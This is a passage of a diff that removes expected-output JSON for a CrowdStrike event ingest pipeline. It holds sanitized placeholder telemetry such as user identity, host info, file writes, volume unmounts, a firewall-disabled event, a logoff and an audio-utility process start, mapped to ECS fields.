"action": "UserIdentity", - "category": [ - "authentication", - "iam" - ], - "created": "2020-11-08T17:09:15.388Z", - "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b|ffffffff1f32487185fcde66a9dc0528|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AuthenticationId\":\"326190744\",\"AuthenticationUuid\":\"98467113-C771-4845-B71B-89B3CE9F93C9\",\"AuthenticationUuidAsString\":\"13714698-71C7-4548-B71B-89B3CE9F93C9\",\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1457965279\",\"Entitlements\":\"15\",\"UID\":\"326190744\",\"UserPrincipal\":\"user8@dom6\",\"UserSid\":\"S-1-5-21-3629339319-2376021926-2724479216-652382488\",\"aid\":\"ffffffff1f32487185fcde66a9dc0528\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"UserIdentity\",\"id\":\"ffffffff-1111-11eb-b9b4-063e98f9b19b\",\"name\":\"UserIdentityMacV2\",\"timestamp\":\"1604855355388\"}", - "outcome": "success", - "type": [ - "info", - "user" - ] - }, - "host": { - "id": "ffffffff1f32487185fcde66a9dc0528", - "os": { - "type": "macos" - } - }, - "message": "UserIdentity", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff1f32487185fcde66a9dc0528", - "version": "1007.4.0011104.1" - }, - "related": { - "hash": [ - "1457965279" - ], - "ip": [ - "67.43.156.14" - ], - "user": [ - "user8", - "user8@dom6", - "326190744" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "dom6", - "email": "user8@dom6", - "full_name": "user8", - "id": "326190744" - } - }, - { - "@timestamp": "2020-11-08T17:05:57.555Z", - "crowdstrike": { - "BootArgs": [ - "NOEXECUTE=OPTIN", - "HYPERVISORLAUNCHTYPE=AUTO", - "FVEBOOT=2125824", - "NOVGA" - ], - "ConfigStateHash": "1874387338", - "EffectiveTransmissionClass": "0", - "Entitlements": "15", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-9bbd-061290dcd983", - "name": "HostInfoV2" - }, - "device": { - "id": "ffffffffcdb543135e7fcdf8e5a8fbdb" - }, - "event": { - "action": "HostInfo", - "category": [ - "host" - ], - "created": "2020-11-08T17:05:57.555Z", - "id": "ffffffff-1111-11eb-9bbd-061290dcd983|ffffffffcdb543135e7fcdf8e5a8fbdb|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"BootArgs\":\" NOEXECUTE=OPTIN HYPERVISORLAUNCHTYPE=AUTO FVEBOOT=2125824 NOVGA\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1874387338\",\"EffectiveTransmissionClass\":\"0\",\"Entitlements\":\"15\",\"MachineDomain\":\"\",\"aid\":\"ffffffffcdb543135e7fcdf8e5a8fbdb\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"HostInfo\",\"id\":\"ffffffff-1111-11eb-9bbd-061290dcd983\",\"name\":\"HostInfoV2\",\"timestamp\":\"1604855157555\"}", - "outcome": "success", - "type": [ - "info" - ] - }, - "host": { - "id": "ffffffffcdb543135e7fcdf8e5a8fbdb", - "os": { - "type": "windows" - } - }, - "message": "HostInfo", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffcdb543135e7fcdf8e5a8fbdb", - "version": "1007.3.0011603.1" - }, - "related": { - "hash": [ - "1874387338" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T15:57:11.298Z", - "crowdstrike": { - "AuthenticationId": "703298", - "ConfigStateHash": "2642284486", - "ContextProcessId": "1161025471861", - "ContextTimeStamp": "2020-11-08T15:57:10.593Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "FileEcpBitmask": "0", - "FileObject": "18446664963104449168", - "IrpFlags": "1028", - "IsOnNetwork": "0", - "IsOnRemovableDisk": "1", - "MajorFunction": "18", - "MinorFunction": "0", - "OperationFlags": "0", - "TokenType": "1", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-800a-06cecfd73923", - "name": "GenericFileWrittenV11" - }, - "device": { - "id": "ffffffff16bf4c7bb5ad755a4722025c" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2020-11-08T15:57:11.298Z", - "id": "ffffffff-1111-11eb-800a-06cecfd73923|ffffffff16bf4c7bb5ad755a4722025c|ffffffff30a3407dae27d0503611022d", - "original": "{\"AuthenticationId\":\"703298\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2642284486\",\"ContextProcessId\":\"1161025471861\",\"ContextThreadId\":\"34929528116709\",\"ContextTimeStamp\":\"1604851030.593\",\"DiskParentDeviceInstanceId\":\"USB\\\\VID_1058\\u0026PID_2621\\\\57583431453939315A4C5255\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"262fbc677256cf4c8d6c6a227285a072c06830873b000000\",\"FileObject\":\"18446664963104449168\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"1\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"517029\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume5\\\\01.png.tmp$$\",\"TokenType\":\"1\",\"UserName\":\"user9\",\"aid\":\"ffffffff16bf4c7bb5ad755a4722025c\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"GenericFileWritten\",\"id\":\"ffffffff-1111-11eb-800a-06cecfd73923\",\"name\":\"GenericFileWrittenV11\",\"timestamp\":\"1604851031298\"}" - }, - "file": { - "device": "USB\\VID_1058&PID_2621\\57583431453939315A4C5255", - "directory": "\\Device\\HarddiskVolume5", - "extension": "tmp$$", - "inode": "262fbc677256cf4c8d6c6a227285a072c06830873b000000", - "name": "01.png.tmp$$", - "path": "\\Device\\HarddiskVolume5\\01.png.tmp$$", - "size": 517029, - "type": "file" - }, - "host": { - "id": "ffffffff16bf4c7bb5ad755a4722025c", - "os": { - "type": "windows" - } - }, - "message": "GenericFileWritten", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff16bf4c7bb5ad755a4722025c", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "1161025471861", - "thread": { - "id": 34929528116709 - } - }, - "related": { - "hash": [ - "2642284486" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "user9" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "user9" - } - }, - { - "@timestamp": "2020-11-08T15:54:59.812Z", - "crowdstrike": { - "ConfigStateHash": "666346415", - "ContextProcessId": "1717987648455", - "ContextTimeStamp": "2020-11-08T15:54:59.164Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "VolumeName": "\\Device\\HarddiskVolume27", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-9f70-0634389d9ea9", - "name": "FsVolumeUnmountedV2" - }, - "device": { - "id": "ffffffff896b43725b83c79aa79959da" - }, - "event": { - "action": "FsVolumeUnmounted", - "category": [ - "host" - ], - "created": "2020-11-08T15:54:59.812Z", - "id": "ffffffff-1111-11eb-9f70-0634389d9ea9|ffffffff896b43725b83c79aa79959da|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"666346415\",\"ContextProcessId\":\"1717987648455\",\"ContextThreadId\":\"55064470042288\",\"ContextTimeStamp\":\"1604850899.164\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume27\",\"aid\":\"ffffffff896b43725b83c79aa79959da\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeUnmounted\",\"id\":\"ffffffff-1111-11eb-9f70-0634389d9ea9\",\"name\":\"FsVolumeUnmountedV2\",\"timestamp\":\"1604850899812\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffff896b43725b83c79aa79959da", - "os": { - "type": "windows" - } - }, - "message": "FsVolumeUnmounted", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff896b43725b83c79aa79959da", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "1717987648455", - "thread": { - "id": 55064470042288 - } - }, - "related": { - "hash": [ - "666346415" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T15:57:20.625Z", - "crowdstrike": { - "ConfigStateHash": "3429017943", - "ContextProcessId": "66426035996442255", - "ContextTimeStamp": "2020-11-08T15:58:18.548Z", - "Entitlements": "15", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-9d4c-02f402df8c1f", - "name": "FirewallDisabledMacV1" - }, - "device": { - "id": "ffffffff899541b94b9adff8922aa70a" - }, - "event": { - "action": "FirewallDisabled", - "category": [ - "configuration", - "host" - ], - "created": "2020-11-08T15:57:20.625Z", - "id": "ffffffff-1111-11eb-9d4c-02f402df8c1f|ffffffff899541b94b9adff8922aa70a|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.4.0009906.1\",\"ConfigStateHash\":\"3429017943\",\"ContextProcessId\":\"66426035996442255\",\"ContextTimeStamp\":\"1604851098.548\",\"Entitlements\":\"15\",\"aid\":\"ffffffff899541b94b9adff8922aa70a\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"FirewallDisabled\",\"id\":\"ffffffff-1111-11eb-9d4c-02f402df8c1f\",\"name\":\"FirewallDisabledMacV1\",\"timestamp\":\"1604851040625\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffff899541b94b9adff8922aa70a", - "os": { - "type": "macos" - } - }, - "message": "FirewallDisabled", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff899541b94b9adff8922aa70a", - "version": "1007.4.0009906.1" - }, - "process": { - "entity_id": "66426035996442255" - }, - "related": { - "hash": [ - "3429017943" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-11-09T09:00:27.353Z", - "crowdstrike": { - "AgentLoadFlags": "0", - "AgentLocalTime": "2021-11-09T05:47:19.952Z", - "AgentTimeOffset": 125.319, - "BiosManufacturer": "Apple Inc.", - "BiosVersion": "1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)", - "ChassisType": "Laptop", - "ConfigBuild": "1007.4.0014404.1", - "ConfigIDBuild": "14404", - "FirstSeen": "2021-07-07T18:26:31.000Z", - "HostHiddenStatus": "Visible", - "ProductType": "1", - "SystemManufacturer": "Apple Inc.", - "SystemProductName": "MacBookPro16,2", - "cid": "ffffffff30a3407dae27d0503611022ff" - }, - "device": { - "id": "fffffffffffaaaaaaaaabbbbbbbb" - }, - "event": { - "created": "2021-11-09T09:00:27.353Z", - "id": "|fffffffffffaaaaaaaaabbbbbbbb|ffffffff30a3407dae27d0503611022ff", - "original": "{\"AgentLoadFlags\":\"0\",\"AgentLocalTime\":\"1636436839.9529998\",\"AgentTimeOffset\":\"125.319\",\"AgentVersion\":\"6.31.14404.0\",\"BiosManufacturer\":\"Apple Inc.\",\"BiosVersion\":\"1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)\",\"ChassisType\":\"Laptop\",\"City\":\"San Francisco\",\"ComputerName\":\"mac1\",\"ConfigBuild\":\"1007.4.0014404.1\",\"ConfigIDBuild\":\"14404\",\"Continent\":\"North America\",\"Country\":\"United States\",\"FalconGroupingTags\":\"-\",\"FirstSeen\":\"1625682391.0\",\"HostHiddenStatus\":\"Visible\",\"MachineDomain\":\"none\",\"OU\":\"none\",\"PointerSize\":\"none\",\"ProductType\":\"1\",\"SensorGroupingTags\":\"-\",\"ServicePackMajor\":\"none\",\"SiteName\":\"none\",\"SystemManufacturer\":\"Apple Inc.\",\"SystemProductName\":\"MacBookPro16,2\",\"Time\":\"1636448427.3539999\",\"Timezone\":\"America/Los_Angeles\",\"Version\":\"Big Sur (11.0)\",\"aid\":\"fffffffffffaaaaaaaaabbbbbbbb\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022ff\",\"event_platform\":\"Mac\"}" - }, - "host": { - "geo": { - "city_name": "San Francisco", - "continent_name": "North America", - "country_name": "United States", - "timezone": "America/Los_Angeles" - }, - "hostname": "mac1", - "id": "fffffffffffaaaaaaaaabbbbbbbb", - "name": "mac1", - "os": { - "type": "macos", - "version": "Big Sur (11.0)" - } - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "fffffffffffaaaaaaaaabbbbbbbb", - "version": "6.31.14404.0" - }, - "related": { - "hosts": [ - "mac1" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:05:34.461Z", - "crowdstrike": { - "AuthenticationId": "317005428", - "AuthenticationPackage": "Negotiate", - "ConfigStateHash": "3950066843", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "LogoffTime": "2020-11-08T17:05:32.756Z", - "LogonServer": "srv2", - "LogonTime": "2020-11-08T17:05:31.666Z", - "LogonType": "7", - "PasswordLastSet": "1598119332.510", - "RemoteAccount": "1", - "UserFlags": "32", - "UserLogoffType": "3", - "UserLogonFlags": "0", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-8913-0287fd11c79b", - "name": "UserLogoffV3" - }, - "device": { - "id": "ffffffffe0104823bd3de859d5bc8bc7" - }, - "event": { - "action": "UserLogoff", - "category": [ - "authentication" - ], - "created": "2020-11-08T17:05:34.461Z", - "id": "ffffffff-1111-11eb-8913-0287fd11c79b|ffffffffe0104823bd3de859d5bc8bc7|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AuthenticationId\":\"317005428\",\"AuthenticationPackage\":\"Negotiate\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3950066843\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogoffTime\":\"1604855132.756\",\"LogonDomain\":\"dom1\",\"LogonServer\":\"srv2\",\"LogonTime\":\"1604855131.666\",\"LogonType\":\"7\",\"PasswordLastSet\":\"1598119332.510\",\"RemoteAccount\":\"1\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogoffType\":\"3\",\"UserLogonFlags\":\"0\",\"UserName\":\"user4\",\"UserPrincipal\":\"user.name@dom2.com\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-28636\",\"aid\":\"ffffffffe0104823bd3de859d5bc8bc7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogoff\",\"id\":\"ffffffff-1111-11eb-8913-0287fd11c79b\",\"name\":\"UserLogoffV3\",\"UTCTimestamp\":\"1604855134461\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "domain": "dom1", - "id": "ffffffffe0104823bd3de859d5bc8bc7", - "os": { - "type": "windows" - } - }, - "message": "UserLogoff", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffffe0104823bd3de859d5bc8bc7", - "version": "1007.3.0011603.1" - }, - "related": { - "hash": [ - "3950066843" - ], - "hosts": [ - "srv2" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "user4", - "user.name", - "user.name@dom2.com", - "S-1-5-21-606747145-1364589140-725345543-28636" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "dom2.com", - "email": "user.name@dom2.com", - "full_name": "user.name", - "id": "S-1-5-21-606747145-1364589140-725345543-28636", - "name": "user4" - } - }, - { - "@timestamp": "2022-08-16T08:01:09.410Z", - "crowdstrike": { - "AuthenticationId": "29530993", - "ConfigStateHash": "518095218", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "ImageSubsystem": "2", - "IntegrityLevel": "8192", - "MD5HashData": "e570911fc2ab74ecf0dc59f324318f6e", - "ParentAuthenticationId": "29530993", - "ProcessCreateFlags": "1024", - "ProcessParameterFlags": "24577", - "ProcessSxsFlags": "64", - "SHA256HashData": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2", - "SessionId": "1", - "SourceProcessId": "434985540832797032", - "SourceThreadId": "434985668331321297", - "Tags": [ - "25", - "27", - "862", - "874", - "924", - "12094627905582", - "12094627906234" - ], - "TokenType": "2", - "cid": "1301ac65ae144fbb9689a8472f828c2e", - "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf", - "name": "ProcessRollup2V19" - }, - "device": { - "id": "50deaa55144543089a1f463b568cdc53" - }, - "event": { - "action": "ProcessRollup2", - "category": [ - "process" - ], - "created": "2022-08-16T08:01:09.410Z", - "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf|50deaa55144543089a1f463b568cdc53|1301ac65ae144fbb9689a8472f828c2e", - "kind": "event", - "original": "{\"ProcessCreateFlags\":\"1024\",\"IntegrityLevel\":\"8192\",\"ParentProcessId\":\"434985540832797032\",\"SourceProcessId\":\"434985540832797032\",\"aip\":\"89.160.20.120\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"UserSid\":\"S-1-5-21-4084637156-299436391-3671333128-115430\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"ProcessEndTime\":\"\",\"ParentBaseFileName\":\"EmUser.exe\",\"ImageSubsystem\":\"2\",\"id\":\"9686a6b3-1d39-11ed-9370-0660bfa16adf\",\"EffectiveTransmissionClass\":\"3\",\"SessionId\":\"1\",\"Tags\":\"25, 27, 862, 874, 924, 12094627905582, 12094627906234\",\"timestamp\":\"1660636869410\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"6108\",\"ConfigStateHash\":\"518095218\",\"MD5HashData\":\"e570911fc2ab74ecf0dc59f324318f6e\",\"SHA256HashData\":\"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2\",\"ProcessSxsFlags\":\"64\",\"AuthenticationId\":\"29530993\",\"ConfigBuild\":\"1007.3.0015103.1\",\"CommandLine\":\"\\\"C:\\\\Program Files\\\\nirsoft\\\\SoundVolumeView.exe\\\" /SetDefault \\\"Teradici Virtual Audio Driver\\\\device\\\\speakers\\\\\\\" all\",\"ParentAuthenticationId\":\"29530993\",\"TargetProcessId\":\"434985669758362104\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Program Files\\\\NirSoft\\\\SoundVolumeView.exe\",\"SourceThreadId\":\"434985668331321297\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2V19\",\"ProcessStartTime\":\"1660636868.576\",\"ProcessParameterFlags\":\"24577\",\"aid\":\"50deaa55144543089a1f463b568cdc53\",\"cid\":\"1301ac65ae144fbb9689a8472f828c2e\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "50deaa55144543089a1f463b568cdc53", - "os": { - "type": "windows" - } - }, - "message": "ProcessRollup2", - "observer": { - "address": [ - "89.160.20.120" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.120" - ], - "serial_number": "50deaa55144543089a1f463b568cdc53", - "version": "1007.3.0015103.1" - }, - "process": { - "Ext": { - "token": { - "integrity_level_name": "MEDIUM" - } - }, - "args": [ - "C:\\Program Files\\nirsoft\\SoundVolumeView.exe", - "/SetDefault", - "Teradici Virtual Audio Driver\\device\\speakers\" all" - ], - "args_count": 3, - "command_line": "\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all", - "entity_id": "434985669758362104", - "executable": "\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe", - "hash": { - "md5": "e570911fc2ab74ecf0dc59f324318f6e", - "sha256": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2" - }, - "name": "SoundVolumeView.exe", - "parent": { - "entity_id": "434985540832797032", - "name": "EmUser.exe" - }, - "pid": 6108, - "start": "2022-08-16T08:01:08.576Z" - }, - "related": { - "hash": [ - "e570911fc2ab74ecf0dc59f324318f6e", - "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2", - "518095218" - ], - "ip": [ - "89.160.20.120" - ], - "user": [ - "S-1-5-21-4084637156-299436391-3671333128-115430" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-1-5-21-4084637156-299436391-3671333128-115430" - } - }, - { - "@timestamp": "2020-11-08T15:54:59.812Z", - "crowdstrike": { - "ConfigStateHash": "666346415", - "ContextProcessId": "1717987648455", - "ContextTimeStamp": "2022-12-03T18:43:39.000Z", - "EffectiveTransmissionClass": "3", - "EndTime": "2022-12-03T18:42:00.000Z", - "Entitlements": "15", - "StartTime": "2022-12-03T18:42:00.000Z", - "VolumeName": "\\Device\\HarddiskVolume27", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-9f70-0634389d9ea9", - "name": "FsVolumeUnmountedV2" - }, - "device": { - "id": "ffffffff896b43725b83c79aa79959da" - }, - "event": { - "action": "FsVolumeUnmounted", - "category": [ - "host" - ], - "created": "2020-11-08T15:54:59.812Z", - "id": "ffffffff-1111-11eb-9f70-0634389d9ea9|ffffffff896b43725b83c79aa79959da|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"666346415\",\"ContextProcessId\":\"1717987648455\",\"ContextThreadId\":\"55064470042288\",\"ContextTimeStamp\":133145666190000000,\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume27\",\"aid\":\"ffffffff896b43725b83c79aa79959da\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeUnmounted\",\"id\":\"ffffffff-1111-11eb-9f70-0634389d9ea9\",\"name\":\"FsVolumeUnmountedV2\",\"timestamp\":\"1604850899812\",\"StartTime\":133145665200000000,\"EndTime\":133145665200000000}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffff896b43725b83c79aa79959da", - "os": { - "type": "windows" - } - }, - "message": "FsVolumeUnmounted", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff896b43725b83c79aa79959da", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "1717987648455", - "thread": { - "id": 55064470042288 - } - }, - "related": { - "hash": [ - "666346415" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2023-03-16T01:57:00.343Z", - "crowdstrike": { - "CurrentLocalIP": "67.43.156.13", - "FirstDiscoveredDate": "2022-11-28T08:47:57.827Z", - "LastDiscoveredBy": "c1b74438660b44cfa93e24c9d44badab", - "LocalAddressIP4": [ - "67.43.156.13" - ], - "MACPrefix": "AA-AA-AA", - "NeighborName": "!!!!UNKNOWN!!!!", - "__mv_aip": "$67.43.156.14$;$67.43.156.13$", - "__mv_discoverer_aid": "$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$", - "aipCount": 3, - "cid": "500c5073b4d7443688f4b32c5eeb295b", - "discovererCount": 2, - "discoverer_aid": "4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab", - "localipCount": 1, - "subnet": "10.0" - }, - "event": { - "created": "2023-03-16T01:57:00.343Z", - "id": "||500c5073b4d7443688f4b32c5eeb295b", - "original": "{\"ComputerName\":\"HQ-sadhkbasHS\",\"CurrentLocalIP\":\"67.43.156.13\",\"FirstDiscoveredDate\":\"1669625277.827\",\"LastDiscoveredBy\":\"c1b74438660b44cfa93e24c9d44badab\",\"LocalAddressIP4\":\"67.43.156.13\",\"MAC\":\"AA-AA-AA-AA-AA-AA\",\"MACPrefix\":\"AA-AA-AA\",\"NeighborName\":\"!!!!UNKNOWN!!!!\",\"__mv_LocalAddressIP4\":\"\",\"__mv_aip\":\"$67.43.156.14$;$67.43.156.13$\",\"__mv_discoverer_aid\":\"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$\",\"__mv_discoverer_devicetype\":\"\",\"_time\":\"1678931820.343\",\"aip\":\"67.43.156.13 67.43.156.14 81.2.69.192\",\"aipCount\":\"3\",\"cid\":\"500c5073b4d7443688f4b32c5eeb295b\",\"discovererCount\":\"2\",\"discoverer_aid\":\"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab\",\"discoverer_devicetype\":\"\",\"localipCount\":\"1\",\"subnet\":\"10.0\"}" - }, - "host": { - "hostname": "HQ-sadhkbasHS", - "name": "HQ-sadhkbasHS" - }, - "observer": { - "address": [ - "67.43.156.13", - "67.43.156.14", - "81.2.69.192" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13", - "67.43.156.14", - "81.2.69.192" - ] - }, - "related": { - "hosts": [ - "HQ-sadhkbasHS" - ], - "ip": [ - "67.43.156.13", - "67.43.156.14", - "81.2.69.192" - ] - }, - "source": { - "address": "67.43.156.13", - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.13", - "mac": "AA-AA-AA-AA-AA-AA" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T15:54:59.812Z", - "crowdstrike": { - "ConfigStateHash": "666346415", - "ContextProcessId": "1717987648455", - "EffectiveTransmissionClass": "3", - "EndTime": "2022-12-03T18:42:00.000Z", - "Entitlements": "15", - "StartTime": "2022-12-03T18:42:00.000Z", - "VolumeName": "\\Device\\HarddiskVolume27", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-9f70-0634389d9ea9", - "name": "FsVolumeUnmountedV2" - }, - "device": { - "id": "ffffffff896b43725b83c79aa79959da" - }, - "event": { - "action": "FsVolumeUnmounted", - "category": [ - "host" - ], - "created": "2020-11-08T15:54:59.812Z", - "id": "ffffffff-1111-11eb-9f70-0634389d9ea9|ffffffff896b43725b83c79aa79959da|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"666346415\",\"ContextProcessId\":\"1717987648455\",\"ContextThreadId\":\"55064470042288\",\"ContextTimeStamp\":\"\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume27\",\"aid\":\"ffffffff896b43725b83c79aa79959da\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeUnmounted\",\"id\":\"ffffffff-1111-11eb-9f70-0634389d9ea9\",\"name\":\"FsVolumeUnmountedV2\",\"timestamp\":\"1604850899812\",\"StartTime\":133145665200000000,\"EndTime\":133145665200000000}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": 